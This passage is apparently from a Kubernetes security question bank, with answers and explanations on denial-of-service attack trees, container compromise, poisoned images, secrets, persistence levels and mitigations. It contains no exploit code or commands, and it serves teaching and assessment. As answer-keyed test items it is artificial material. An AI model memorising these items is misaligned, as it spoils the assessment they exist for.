Q72. [Scenario] A container provides an attacker with a command-execution foothold. Why is this important even if the attacker has not yet reached the control plane?

- A. A compromised container is isolated from every other asset by definition
- B. The foothold may be used to inspect secrets, reach endpoints, pivot, or pursue persistence
- C. The compromise matters only if the cloud provider is unavailable
- D. Container execution cannot influence security boundaries

Answer: B. The foothold may be used to inspect secrets, reach endpoints, pivot, or pursue persistence

Why: A compromised workload can be an initial execution point for follow-on paths.

Lecture source: pp. 9, 12-14

Q73. [Scenario] An attacker can create many workloads because a service account has broad deployment privileges. Which two concepts are most directly involved?

- A. Only DNS caching and browser history
- B. Only code formatting and cryptographic key length
- C. Only data anonymization and privacy law
- D. RBAC misconfiguration and denial-of-service risk

Answer: D. RBAC misconfiguration and denial-of-service risk

Why: Overprivileged accounts can be abused to create resource exhaustion.

Lecture source: pp. 9-10

Q74. [EXCEPT / NOT] Which is NOT a sensible security-boundary question when analyzing Kubernetes?

- A. Which workloads can communicate across network boundaries?
- B. Which requests cross into the API server?
- C. Where are secrets stored and who can retrieve them?
- D. What color scheme is used by the dashboard theme?

Answer: D. What color scheme is used by the dashboard theme?

Why: Threat modeling focuses on security-relevant components, flows, assets, and boundaries.

Lecture source: pp. 8-9

Q75. [Select all that apply] Which situations can increase the blast radius of a compromised container? Select all that apply.

- A. A mounted host filesystem
- B. A service-account token with broad RBAC permissions
- C. A mounted container-runtime socket
- D. Running as a non-root user with minimal privileges and no host mounts
- E. A permissive network policy

Answer: A. A mounted host filesystem; B. A service-account token with broad RBAC permissions; C. A mounted container-runtime socket; E. A permissive network policy

Why: Host access, runtime access, overprivileged identities, and network reachability create pivot paths.

Lecture source: pp. 9, 12-16

Q76. [True / False] RBAC misconfiguration can amplify multiple Kubernetes attack paths.

- A. False
- B. True

Answer: B. True

Why: Many attack vectors depend on excessive or incorrect authorization.

Lecture source: p. 9

Q77. [True / False] A service token is harmless if it is stolen because the API server ignores tokens.

- A. False
- B. True

Answer: A. False

Why: A valid stolen token can permit unauthorized API access according to its privileges.

Lecture source: p. 9

Q78. [True / False] Network endpoints are security relevant only when the permitted communication paths allow an attacker to reach them.

- A. True
- B. False

Answer: A. True

Why: Exposure depends on network-policy and routing decisions.

Lecture source: p. 9

Q79. [True / False] Resource exhaustion is primarily an availability concern.

- A. True
- B. False

Answer: A. True

Why: DoS attempts to prevent normal functioning.

Lecture source: p. 9

4. Denial-of-service attack trees and availability scenarios

38 questions. Correct answers and explanations appear immediately below each item.

Q80. [Single answer] What is the top-level security objective of a Kubernetes denial-of-service attack?

- A. Prevent the cluster or its workloads from functioning normally
- B. Improve workload placement efficiency
- C. Reduce the attack surface by removing unused packages
- D. Verify signed software artifacts

Answer: A. Prevent the cluster or its workloads from functioning normally

Why: Denial of service targets availability.

Lecture source: pp. 9-11

Q81. [Attack-tree classification] Which DoS attack-tree branch best matches this scenario: Consume cluster capacity so legitimate workloads cannot obtain sufficient resources?

- A. Exhaust compute resources
- B. Disrupt networking
- C. Prevent new worker nodes from joining
- D. Disrupt scheduling of new or restarting workloads

Answer: A. Exhaust compute resources

Why: The scenario belongs to the exhaust compute resources branch.

Lecture source: pp. 10-11

Q82. [Single answer] What is the primary effect of the DoS branch "Exhaust compute resources"?

- A. It removes the need for service-level authorization
- B. Consume cluster capacity so legitimate workloads cannot obtain sufficient resources
- C. It proves that container images are free from vulnerabilities
- D. It rotates every secret automatically

Answer: B. Consume cluster capacity so legitimate workloads cannot obtain sufficient resources

Why: This branch targets availability by attempting to consume cluster capacity so legitimate workloads cannot obtain sufficient resources.

Lecture source: pp. 10-11

Q83. [Attack-tree classification] Which DoS attack-tree branch best matches this scenario: Prevent the cluster from placing or reconciling workloads correctly?

- A. Disrupt scheduling of new or restarting workloads
- B. Prevent new worker nodes from joining
- C. Exhaust compute resources
- D. Disrupt networking

Answer: A. Disrupt scheduling of new or restarting workloads

Why: The scenario belongs to the disrupt scheduling of new or restarting workloads branch.

Lecture source: pp. 10-11

Q84. [Single answer] What is the primary effect of the DoS branch "Disrupt scheduling of new or restarting workloads"?

- A. It rotates every secret automatically
- B. It proves that container images are free from vulnerabilities
- C. It removes the need for service-level authorization
- D. Prevent the cluster from placing or reconciling workloads correctly

Answer: D. Prevent the cluster from placing or reconciling workloads correctly

Why: This branch targets availability by attempting to prevent the cluster from placing or reconciling workloads correctly.

Lecture source: pp. 10-11

Q85. [Attack-tree classification] Which DoS attack-tree branch best matches this scenario: Break service forwarding, DNS resolution, or overlay connectivity?

- A. Disrupt scheduling of new or restarting workloads
- B. Prevent new worker nodes from joining
- C. Disrupt networking
- D. Exhaust compute resources

Answer: C. Disrupt networking

Why: The scenario belongs to the disrupt networking branch.

Lecture source: pp. 10-11

Q86. [Single answer] What is the primary effect of the DoS branch "Disrupt networking"?

- A. It proves that container images are free from vulnerabilities
- B. Break service forwarding, DNS resolution, or overlay connectivity
- C. It rotates every secret automatically
- D. It removes the need for service-level authorization

Answer: B. Break service forwarding, DNS resolution, or overlay connectivity

Why: This branch targets availability by attempting to break service forwarding, dns resolution, or overlay connectivity.

Lecture source: pp. 10-11

Q87. [Attack-tree classification] Which DoS attack-tree branch best matches this scenario: Block the cluster from adding capacity or replacing failed nodes?

- A. Disrupt scheduling of new or restarting workloads
- B. Disrupt networking
- C. Exhaust compute resources
- D. Prevent new worker nodes from joining

Answer: D. Prevent new worker nodes from joining

Why: The scenario belongs to the prevent new worker nodes from joining branch.

Lecture source: pp. 10-11

Q88. [Single answer] What is the primary effect of the DoS branch "Prevent new worker nodes from joining"?

- A. It removes the need for service-level authorization
- B. Block the cluster from adding capacity or replacing failed nodes
- C. It proves that container images are free from vulnerabilities
- D. It rotates every secret automatically

Answer: B. Block the cluster from adding capacity or replacing failed nodes

Why: This branch targets availability by attempting to block the cluster from adding capacity or replacing failed nodes.

Lecture source: pp. 10-11

Q89. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: A worker node becomes unhealthy or unable to manage workloads?

- A. Kubelet
- B. Kube-proxy
- C. Scheduler
- D. Controller manager

Answer: A. Kubelet

Why: Disrupting Kubelet can produce this availability consequence.

Lecture source: p. 11

Q90. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: The cluster loses consistent access to critical state?

- A. etcd quorum
- B. API server
- C. Kubelet
- D. DNS service

Answer: A. etcd quorum

Why: Disrupting etcd quorum can produce this availability consequence.

Lecture source: p. 11

Q91. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: Cluster-management requests cannot be processed normally?

- A. API server
- B. Network boot or node-join service
- C. Kubelet
- D. Controller manager

Answer: A. API server

Why: Disrupting API server can produce this availability consequence.

Lecture source: p. 11

Q92. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: New or restarting workloads cannot be placed normally?

- A. Kubelet
- B. etcd quorum
- C. DNS service
- D. Scheduler

Answer: D. Scheduler

Why: Disrupting Scheduler can produce this availability consequence.

Lecture source: p. 11

Q93. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: Control loops cannot reconcile observed and desired state normally?

- A. Kube-proxy
- B. DNS service
- C. Controller manager
- D. API server

Answer: C. Controller manager

Why: Disrupting Controller manager can produce this availability consequence.

Lecture source: p. 11

Q94. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: Service forwarding or packet-rule updates are disrupted?

- A. DNS service
- B. Network boot or node-join service
- C. Kubelet
- D. Kube-proxy

Answer: D. Kube-proxy

Why: Disrupting Kube-proxy can produce this availability consequence.

Lecture source: p. 11

Q95. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: Name-resolution queries inside the cluster fail?

- A. Kube-proxy
- B. Kubelet
- C. API server
- D. DNS service

Answer: D. DNS service

Why: Disrupting DNS service can produce this availability consequence.

Lecture source: p. 11

Q96. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: Pod-network connectivity is degraded?

- A. CNI overlay network
- B. Controller manager
- C. Scheduler
- D. etcd quorum

Answer: A. CNI overlay network

Why: Disrupting CNI overlay network can produce this availability consequence.

Lecture source: p. 11

Q97. [Availability scenario] Which Kubernetes target is most directly associated with this availability consequence: New workers cannot join when additional capacity is needed?

- A. DNS service
- B. Controller manager
- C. CNI overlay network
- D. Network boot or node-join service

Answer: D. Network boot or node-join service

Why: Disrupting Network boot or node-join service can produce this availability consequence.

Lecture source: p. 11

Q98. [Scenario] An attacker floods a cluster-management endpoint so that administrators cannot submit deployments or updates. Which component is the most direct target?

- A. Container image layer only
- B. Client browser cache
- C. API server
- D. Application source-code formatter

Answer: C. API server

Why: The API server is the central management interface.

Lecture source: pp. 7, 11

Q99. [Scenario] Existing pods keep running, but failed pods cannot be replaced on suitable nodes. Which control-plane component should be investigated first?

- A. Container registry mirror only
- B. Scheduler
- C. Cloud billing dashboard
- D. Kube-proxy

Answer: B. Scheduler

Why: The scheduler is needed to assign pending pods to nodes.

Lecture source: pp. 7, 11

Q100. [Scenario] A cluster cannot reliably converge toward desired state after a workload configuration changes. Which component is a high-priority suspect?

- A. User browser
- B. Static image scanner
- C. Controller manager
- D. Artifact-signing key only

Answer: C. Controller manager

Why: Controller loops reconcile observed and desired state.

Lecture source: pp. 7, 11

Q101. [Scenario] Pods are running, but service traffic no longer follows updated packet rules on nodes. Which component is most directly relevant?

- A. Source-code linter
- B. Image repository
- C. Scheduler
- D. Kube-proxy

Answer: D. Kube-proxy

Why: Kube-proxy is associated with service networking and packet-forwarding updates.

Lecture source: pp. 7, 11

Q102. [Scenario] Applications fail to resolve internal service names even though pods remain alive. Which DoS path is the best match?

- A. Disruption of the cluster DNS service
- B. Poisoning only a public source-code repository
- C. Changing a container-image label only
- D. Disabling an unused local text editor

Answer: A. Disruption of the cluster DNS service

Why: DNS disruption can break name-based service discovery.

Lecture source: p. 11

Q103. [Scenario] A cluster cannot add replacement workers during a capacity shortage because its node-provisioning or bootstrapping path is unavailable. Which DoS branch applies?

- A. Only rotate secrets
- B. Prevent new worker nodes from joining
- C. Only scan container images
- D. Only compromise the application code

Answer: B. Prevent new worker nodes from joining

Why: Blocking node join or boot paths prevents recovery and capacity expansion.

Lecture source: p. 11

Q104. [Scenario] An attacker uses an overprivileged account to scale deployments aggressively until compute resources are consumed. Which mitigation theme is most relevant?

- A. Place more secrets in plain ConfigMaps
- B. Use the latest tag more often
- C. Disable all audit logs
- D. Least privilege combined with resource controls and monitoring

Answer: D. Least privilege combined with resource controls and monitoring

Why: The path combines authorization abuse with resource exhaustion.

Lecture source: pp. 10, 15-16

Q105. [Select all that apply] Which conditions can contribute to a cluster-level DoS? Select all that apply.

- A. Loss of etcd consistency or quorum
- B. Disrupted kube-proxy updates
- C. Exhausted worker capacity
- D. Unavailable scheduler
- E. A carefully pinned and scanned base image by itself

Answer: A. Loss of etcd consistency or quorum; B. Disrupted kube-proxy updates; C. Exhausted worker capacity; D. Unavailable scheduler

Why: Availability can fail through capacity, control-plane, and networking paths.

Lecture source: pp. 10-11

Q106. [EXCEPT / NOT] Which is NOT an availability-focused Kubernetes mitigation?

- A. Grant every workload unrestricted privileges so it can repair the cluster itself
- B. Limit privileges that permit uncontrolled workload creation
- C. Monitor resource usage and critical control-plane health
- D. Protect critical cluster services and recovery paths

Answer: A. Grant every workload unrestricted privileges so it can repair the cluster itself

Why: Unrestricted privileges increase attack paths and blast radius.

Lecture source: pp. 10-11, 16

Q107. [True / False] A Kubernetes DoS threat model should consider control-plane services as well as workload compute capacity.

- A. False
- B. True

Answer: B. True

Why: DoS paths include resources, scheduling, state, networking, and node-join paths.

Lecture source: pp. 10-11

Q108. [True / False] If existing pods are running, scheduler disruption can never affect availability.

- A. True
- B. False

Answer: B. False

Why: Failed or newly requested workloads may not be scheduled.

Lecture source: p. 11

Q109. [True / False] Loss of etcd quorum can be an availability problem because cluster state cannot be managed consistently.

- A. True
- B. False

Answer: A. True

Why: etcd is a critical cluster-state store.

Lecture source: pp. 7, 11

Q110. [Endpoint interpretation] During an authorized availability review, which port value is associated with the API server secure endpoint?

- A. 2380
- B. 10252 or 10257
- C. 6443
- D. 53

Answer: C. 6443

Why: The threat tree associates the API server secure endpoint with 6443. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q111. [Endpoint interpretation] During an authorized availability review, which port value is associated with the etcd client endpoint?

- A. 10255, 10250, or 10248
- B. 53
- C. 6443
- D. 2379

Answer: D. 2379

Why: The threat tree associates the etcd client endpoint with 2379. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q112. [Endpoint interpretation] During an authorized availability review, which port value is associated with the etcd peer endpoint?

- A. 53
- B. 2380
- C. 10255, 10250, or 10248
- D. 10251 or 10259

Answer: B. 2380

Why: The threat tree associates the etcd peer endpoint with 2380. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q113. [Endpoint interpretation] During an authorized availability review, which port value is associated with the cluster DNS service?

- A. 2380
- B. 2379
- C. 10255, 10250, or 10248
- D. 53

Answer: D. 53

Why: The threat tree associates the cluster DNS service with 53. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q114. [Endpoint interpretation] During an authorized availability review, which port value is associated with the scheduler endpoint shown in the threat tree?

- A. 10256 or 10249
- B. 53
- C. 2379
- D. 10251 or 10259

Answer: D. 10251 or 10259

Why: The threat tree associates the scheduler endpoint shown in the threat tree with 10251 or 10259. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q115. [Endpoint interpretation] During an authorized availability review, which port value is associated with the controller-manager endpoint shown in the threat tree?

- A. 2379
- B. 10256 or 10249
- C. 10251 or 10259
- D. 10252 or 10257

Answer: D. 10252 or 10257

Why: The threat tree associates the controller-manager endpoint shown in the threat tree with 10252 or 10257. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q116. [Endpoint interpretation] During an authorized availability review, which port value is associated with the kube-proxy endpoint shown in the threat tree?

- A. 2379
- B. 53
- C. 10256 or 10249
- D. 2380

Answer: C. 10256 or 10249

Why: The threat tree associates the kube-proxy endpoint shown in the threat tree with 10256 or 10249. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

Q117. [Endpoint interpretation] During an authorized availability review, which port value is associated with the kubelet endpoints shown in the threat tree?

- A. 6443
- B. 10255, 10250, or 10248
- C. 53
- D. 2379

Answer: B. 10255, 10250, or 10248

Why: The threat tree associates the kubelet endpoints shown in the threat tree with 10255, 10250, or 10248. Endpoint knowledge helps scope monitoring and protection.

Lecture source: p. 11

5. Container compromise, malicious images, secrets, and remote execution

21 questions. Correct answers and explanations appear immediately below each item.

Q118. [Single answer] Why is a compromised container an important Kubernetes threat-modeling concern?

- A. It automatically proves that the API server is patched
- B. It prevents all network communication by design
- C. It can become a remote execution foothold for additional actions
- D. It guarantees that RBAC is correctly configured

Answer: C. It can become a remote execution foothold for additional actions

Why: A compromised container can support reconnaissance, secret access, pivoting, and persistence attempts.

Lecture source: pp. 9, 12-14

Q119. [Scenario] An attacker obtains a registry pull secret that also has write or overwrite privileges and uses it to replace a trusted image. What is the central risk?

- A. A poisoned image may be deployed as part of a normal release
- B. The cluster automatically gains stronger integrity protection
- C. Pod network policies are guaranteed to improve
- D. The registry becomes read-only by default

Answer: A. A poisoned image may be deployed as part of a normal release

Why: Overprivileged registry credentials create a software-supply-chain path.

Lecture source: p. 12

Q120. [Scenario] Which control would most directly reduce the risk of a stolen image-pull credential being used to overwrite production images?

- A. Rely only on the :latest image tag
- B. Use narrowly scoped read-only credentials for pulling images and separate publishing privileges
- C. Store more secrets in application logs
- D. Give every pod registry-administrator access

Answer: B. Use narrowly scoped read-only credentials for pulling images and separate publishing privileges

Why: Credential scope should match the required operation. Pulling should not imply publishing.

Lecture source: pp. 12, 16

Q121. [Scenario] A malicious image enters a registry and is later rolled out through an ordinary deployment pipeline. Which security property is most directly threatened?

- A. Only privacy of browser cookies
- B. Only formatting of YAML comments
- C. Integrity of the software supply chain
- D. Only availability of DNS

Answer: C. Integrity of the software supply chain

Why: The attacker has altered the artifact delivered to workloads.

Lecture source: p. 12

Q122. [Scenario] A pod can list secrets because its service-account role grants broad read permissions. Which control should be tightened first?

- A. The operating-system wallpaper
- B. The color of the registry logo
- C. RBAC permissions for the service account
- D. The number of code comments

Answer: C. RBAC permissions for the service account

Why: Secrets access should be granted only where necessary.

Lecture source: pp. 9, 14-15

Q123. [Scenario] A compromised workload has a host filesystem mounted read-write. Why is this dangerous?

- A. The host filesystem becomes immutable by default
- B. The mount automatically prevents persistence
- C. The mount can only improve audit quality
- D. The attacker may modify host files and expand the compromise beyond the container

Answer: D. The attacker may modify host files and expand the compromise beyond the container

Why: Host mounts can collapse an isolation boundary.

Lecture source: pp. 12-13, 16

Q124. [Scenario] A workload mounts the container-runtime socket. Which security concern is most relevant?

- A. The workload may influence or start other containers through the runtime interface
- B. The workload becomes unable to interact with the host
- C. The socket automatically enforces least privilege
- D. The workload can no longer access any network endpoint

Answer: A. The workload may influence or start other containers through the runtime interface

Why: Runtime sockets are high-impact interfaces and should be limited.

Lecture source: pp. 12-13, 16

Q125. [Scenario] A privileged container can start a child process in the host PID namespace. What does this indicate?

- A. The cluster has automatically enabled artifact signing
- B. Container isolation has been weakened, creating a possible host-level pivot
- C. The pod is fully isolated from the node
- D. The workload is guaranteed to be read-only

Answer: B. Container isolation has been weakened, creating a possible host-level pivot

Why: Privileged workloads and host namespaces increase blast radius.

Lecture source: p. 12

Q126. [Select all that apply] Which paths can support malicious code execution after a container is compromised? Select all that apply.

- A. Import malicious code into the workload
- B. Modify files on a mounted host filesystem
- C. Exploit tools already present in the container
- D. Use a mounted runtime socket to start processes
- E. Rely on a minimal non-root image with no unnecessary tools or mounts

Answer: A. Import malicious code into the workload; B. Modify files on a mounted host filesystem; C. Exploit tools already present in the container; D. Use a mounted runtime socket to start processes

Why: The attack tree includes imported code, existing tooling, host mounts, and runtime access as possible execution paths.

Lecture source: p. 12

Q127. [Select all that apply] Which actions reduce malicious-image risk? Select all that apply.

- A. Review and minimize base images
- B. Scan images periodically
- C. Grant pull credentials write access by default
- D. Sign and verify artifacts where appropriate
- E. Avoid relying on the :latest tag

Answer: A. Review and minimize base images; B. Scan images periodically; D. Sign and verify artifacts where appropriate; E. Avoid relying on the :latest tag

Why: Image hygiene and artifact integrity controls reduce supply-chain risk.

Lecture source: pp. 16-17

Q128. [EXCEPT / NOT] Which is NOT a sound secret-handling practice in Kubernetes?

- A. Use Kubernetes Secrets for sensitive values
- B. Limit which workloads can retrieve secrets
- C. Store sensitive values in ordinary ConfigMaps whenever possible
- D. Review service-account privileges

Answer: C. Store sensitive values in ordinary ConfigMaps whenever possible

Why: The lecture recommends Kubernetes Secrets rather than ConfigMaps for sensitive data.

Lecture source: p. 15

Q129. [True / False] A pull-only registry credential should normally be unable to overwrite images.

- A. False
- B. True

Answer: B. True

Why: Separating pull and publishing privileges limits supply-chain impact.

Lecture source: pp. 12, 16

Q130. [True / False] A poisoned image can be dangerous even if it is deployed through a normal release workflow.

- A. False
- B. True

Answer: B. True

Why: The release workflow may deliver the attacker-controlled artifact.

Lecture source: p. 12

Q131. [True / False] A mounted host filesystem can increase the blast radius of a container compromise.

- A. True
- B. False

Answer: A. True

Why: Host filesystem access creates a path beyond container isolation.

Lecture source: pp. 12-13, 16

Q132. [True / False] The safest default is to run every workload as root because root simplifies troubleshooting.

- A. True
- B. False

Answer: B. False

Why: The hardening guidance explicitly says not to run as root.

Lecture source: p. 16

Q133. [Risk mapping] What is the most direct security consequence of this condition: Host filesystem mount?

- A. Control or influence runtime operations and other containers
 - B. Observe or influence host processes
 - C. Modify or read files outside the intended container boundary
 - D. Reach internal endpoints that should be isolated
- Answer: C. Modify or read files outside the intended container boundary**

Why: Host filesystem mount can enable an attacker to modify or read files outside the intended container boundary.

Lecture source: pp. 9, 12-16

Q134. [Risk mapping] What is the most direct security consequence of this condition: Container-runtime socket mount?

- A. Observe or influence host processes
- B. Control or influence runtime operations and other containers
- C. Use the API server to retrieve secrets or create resources
- D. Modify or read files outside the intended container boundary

Answer: B. Control or influence runtime operations and other containers

Why: Container-runtime socket mount can enable an attacker to control or influence runtime operations and other containers.

Lecture source: pp. 9, 12-16

Q135. [Risk mapping] What is the most direct security consequence of this condition: Host PID namespace or tracing capability?

- A. Modify or read files outside the intended container boundary
- B. Deliver malicious code through the image supply chain
- C. Control or influence runtime operations and other containers
- D. Observe or influence host processes

Answer: D. Observe or influence host processes

Why: Host PID namespace or tracing capability can enable an attacker to observe or influence host processes.

Lecture source: pp. 9, 12-16

Q136. [Risk mapping] What is the most direct security consequence of this condition: Overprivileged service account?

- A. Use the API server to retrieve secrets or create resources
- B. Reach internal endpoints that should be isolated
- C. Deliver malicious code through the image supply chain
- D. Observe or influence host processes

Answer: A. Use the API server to retrieve secrets or create resources

Why: Overprivileged service account can enable an attacker to use the api server to retrieve secrets or create resources.

Lecture source: pp. 9, 12-16

Q137. [Risk mapping] What is the most direct security consequence of this condition: Poisoned registry image?

- A. Deliver malicious code through the image supply chain
- B. Modify or read files outside the intended container boundary
- C. Observe or influence host processes
- D. Control or influence runtime operations and other containers

Answer: A. Deliver malicious code through the image supply chain

Why: Poisoned registry image can enable an attacker to deliver malicious code through the image supply chain.

Lecture source: pp. 9, 12-16

Q138. [Risk mapping] What is the most direct security consequence of this condition: Permissive network policy?

- A. Modify or read files outside the intended container boundary
- B. Reach internal endpoints that should be isolated
- C. Deliver malicious code through the image supply chain
- D. Use the API server to retrieve secrets or create resources

Answer: B. Reach internal endpoints that should be isolated

Why: Permissive network policy can enable an attacker to reach internal endpoints that should be isolated.

Lecture source: pp. 9, 12-16

6. Persistence, privilege escalation, and compromised-worker scenarios

24 questions. Correct answers and explanations appear immediately below each item.

Q139. [Single answer] What does persistence mean in the context of a compromised Kubernetes workload?

- A. Preventing all legitimate containers from starting
- B. Automatically proving that the image is signed
- C. Ensuring that every log entry is deleted immediately
- D. Maintaining an attacker foothold across relevant restarts, recreations, or infrastructure changes

Answer: D. Maintaining an attacker foothold across relevant restarts, recreations, or infrastructure changes

Why: Persistence asks whether the compromise survives recovery or lifecycle events.

Lecture source: p. 13

Q140. [Persistence classification] Which persistence level best matches this attacker action: Start a malicious process only inside the currently running container?

- A. Pod-recreation resilience
- B. No restart resilience
- C. Node-recycling resilience
- D. Node-restart resilience

Answer: B. No restart resilience

Why: This action aims for no restart resilience.

Lecture source: p. 13

Q141. [Scenario] An attacker wants no restart resilience. Which action best fits that goal?

- A. Pin a reviewed image digest and remove unnecessary privileges
- B. Enable periodic audit-log review
- C. Start a malicious process only inside the currently running container
- D. Reduce registry credentials to read-only access

Answer: C. Start a malicious process only inside the currently running container

Why: The selected action is a persistence path for no restart resilience.

Lecture source: p. 13

Q142. [Persistence classification] Which persistence level best matches this attacker action: Modify a persistent configuration or volume so the foothold returns after a container restart?

- A. No restart resilience
- B. Container-restart resilience
- C. Node-restart resilience
- D. Pod-recreation resilience

Answer: B. Container-restart resilience

Why: This action aims for container-restart resilience.

Lecture source: p. 13

Q143. [Scenario] An attacker wants container-restart resilience. Which action best fits that goal?

- A. Reduce registry credentials to read-only access
- B. Modify a persistent configuration or volume so the foothold returns after a container restart
- C. Pin a reviewed image digest and remove unnecessary privileges
- D. Enable periodic audit-log review

Answer: B. Modify a persistent configuration or volume so the foothold returns after a container restart

Why: The selected action is a persistence path for container-restart resilience.

Lecture source: p. 13

Q144. [Persistence classification] Which persistence level best matches this attacker action: Modify persistent resources or configuration used when a pod is deleted and recreated?

- A. Node-recycling resilience
- B. Node-restart resilience
- C. No restart resilience
- D. Pod-recreation resilience

Answer: D. Pod-recreation resilience

Why: This action aims for pod-recreation resilience.

Lecture source: p. 13

Q145. [Scenario] An attacker wants pod-recreation resilience. Which action best fits that goal?

- A. Reduce registry credentials to read-only access
- B. Modify persistent resources or configuration used when a pod is deleted and recreated
- C. Enable periodic audit-log review
- D. Pin a reviewed image digest and remove unnecessary privileges

Answer: B. Modify persistent resources or configuration used when a pod is deleted and recreated

Why: The selected action is a persistence path for pod-recreation resilience.

Lecture source: p. 13

Q146. [Persistence classification] Which persistence level best matches this attacker action: Modify host startup files, init mechanisms, or scheduled jobs so code returns after the node restarts?

- A. Node-recycling resilience
- B. Container-restart resilience
- C. Node-restart resilience
- D. Pod-recreation resilience

Answer: C. Node-restart resilience

Why: This action aims for node-restart resilience.

Lecture source: p. 13

Q147. [Scenario] An attacker wants node-restart resilience. Which action best fits that goal?

- A. Pin a reviewed image digest and remove unnecessary privileges
- B. Reduce registry credentials to read-only access
- C. Enable periodic audit-log review
- D. Modify host startup files, init mechanisms, or scheduled jobs so code returns after the node restarts

Answer: D. Modify host startup files, init mechanisms, or scheduled jobs so code returns after the node restarts

Why: The selected action is a persistence path for node-restart resilience.

Lecture source: p. 13

Q148. [Persistence classification] Which persistence level best matches this attacker action: Change cluster resources, PKI, or durable cluster state so the foothold can survive replacement of the original node?

- A. Node-recycling resilience
- B. Pod-recreation resilience
- C. Node-restart resilience
- D. No restart resilience

Answer: A. Node-recycling resilience

Why: This action aims for node-recycling resilience.

Lecture source: p. 13

Q149. [Scenario] An attacker wants node-recycling resilience. Which action best fits that goal?

- A. Change cluster resources, PKI, or durable cluster state so the foothold can survive replacement of the original node
- B. Pin a reviewed image digest and remove unnecessary privileges
- C. Enable periodic audit-log review
- D. Reduce registry credentials to read-only access

Answer: A. Change cluster resources, PKI, or durable cluster state so the foothold can survive replacement of the original node

Why: The selected action is a persistence path for node-recycling resilience.

Lecture source: p. 13

Q150. [Scenario] A malicious process disappears whenever the container restarts. What does this suggest about the attacker foothold?

- A. It lacks restart resilience
- B. It has guaranteed node-recycling resilience
- C. It necessarily controls etcd
- D. It necessarily controls the cloud provider

Answer: A. It lacks restart resilience

Why: A process stored only in a running container may vanish on restart.

Lecture source: p. 13

Q151. [Scenario] An attacker edits a configuration file on a persistent volume and forces the pod to restart. What persistence objective is being pursued?

- A. Only artifact verification
- B. Only DNS availability
- C. Only network-policy enforcement
- D. Container-restart or pod-recreation resilience

Answer: D. Container-restart or pod-recreation resilience

Why: Persistent volumes and configuration loaded on restart can re-establish a foothold.

Lecture source: p. 13

Q152. [Scenario] An attacker modifies a host init script through an unsafe host mount. What lifecycle event is the attacker attempting to survive?

- A. Only an application-level validation check
- B. A node restart
- C. Only a registry scan
- D. Only a browser refresh

Answer: B. A node restart

Why: Host startup changes can return after the node reboots.

Lecture source: p. 13

Q153. [Scenario] An attacker modifies Kubernetes resources through the API server so malicious workloads are recreated after a node is replaced. Which persistence goal is the best match?

- A. Only DNS caching
- B. Node-recycling resilience
- C. No persistence
- D. Only user-interface persistence

Answer: B. Node-recycling resilience

Why: Cluster-level durable resources can outlive the original worker node.

Lecture source: p. 13

Q154. [Scenario] An attacker steals credentials that permit modification of etcd-backed cluster state. Why is this especially serious?

- A. etcd cannot influence scheduled workloads
- B. The credentials can be used only to resize an image file
- C. Durable cluster state can be altered, enabling high-impact and persistent changes
- D. etcd stores only disposable browser cookies

Answer: C. Durable cluster state can be altered, enabling high-impact and persistent changes

Why: etcd is the cluster-state store and must be strongly protected.

Lecture source: pp. 7, 13

Q155. [Scenario] A malicious worker joins the cluster by abusing a bootstrap path. Which principle is most important for prevention?

- A. Allow anonymous worker enrollment by default
- B. Protect and validate worker-join credentials and certificate issuance paths
- C. Disable audit logging for bootstrap events
- D. Grant every new node unrestricted privileges immediately

Answer: B. Protect and validate worker-join credentials and certificate issuance paths

Why: Node enrollment is a trust-boundary transition and requires strong controls.

Lecture source: p. 14

Q156. [Scenario] A compromised container retrieves a service-account token and then creates additional workloads. Which sequence is most accurate?

- A. Execution foothold, credential access, API authorization abuse, and expansion of the compromise
- B. Only a harmless local process restart
- C. Image minimization, audit review, and automatic remediation
- D. DNS hardening, key rotation, and code formatting

Answer: A. Execution foothold, credential access, API authorization abuse, and expansion of the compromise

Why: The attack path moves from workload compromise to API actions through stolen credentials.

Lecture source: pp. 14-15

Q157. [Scenario] An attacker reaches an internal datastore using credentials stolen from a running container. Which impacts are plausible?

- A. Guaranteed artifact signing
- B. Data exfiltration or ransomware against the datastore
- C. Automatic correction of RBAC roles
- D. Reduced need for network policies

Answer: B. Data exfiltration or ransomware against the datastore

Why: Stolen internal credentials can expose connected data services.

Lecture source: p. 14

Q158. [Select all that apply] Which measures reduce persistence opportunities after a container compromise? Select all that apply.

- A. Limit host mounts
- B. Protect runtime sockets
- C. Mount more host directories to simplify debugging
- D. Avoid privileged workloads unless strictly necessary
- E. Review and protect cluster-state and PKI paths
- F. Constrain service-account privileges

Answer: A. Limit host mounts; B. Protect runtime sockets; D. Avoid privileged workloads unless strictly necessary; E. Review and protect cluster-state and PKI paths; F. Constrain service-account privileges

Why: Persistence paths often depend on privileged runtime interfaces, host access, broad API authority, or durable cluster state.

Lecture source: pp. 13-16

Q159. [EXCEPT / NOT] Which is NOT a reasonable indicator of an attempted persistence path?

- A. A container writes to a host startup file
- B. A service account modifies workload definitions unexpectedly
- C. A workload is rebuilt from a pinned, reviewed image with no host mounts and minimal privileges
- D. A compromised pod edits persistent configuration before forcing a restart

Answer: C. A workload is rebuilt from a pinned, reviewed image with no host mounts and minimal privileges

Why: The other options are plausible persistence paths.

Lecture source: p. 13

Q160. [True / False] A container compromise is automatically removed forever whenever a pod restarts.

- A. True
- B. False

Answer: B. False

Why: Persistence mechanisms can re-establish the foothold after restart or recreation.

Lecture source: p. 13

Q161. [True / False] Changing durable Kubernetes resources can create persistence beyond the lifetime of one worker node.

- A. False
- B. True

Answer: B. True

Why: Cluster-level resources may survive node recycling.

Lecture source: p. 13

Q162. [True / False] Worker-node join flows should be treated as trust-boundary crossings.

- A. False
- B. True

Answer: B. True

Why: A joining worker gains a role inside the cluster and must be authenticated and authorized.

Lecture source: p. 14

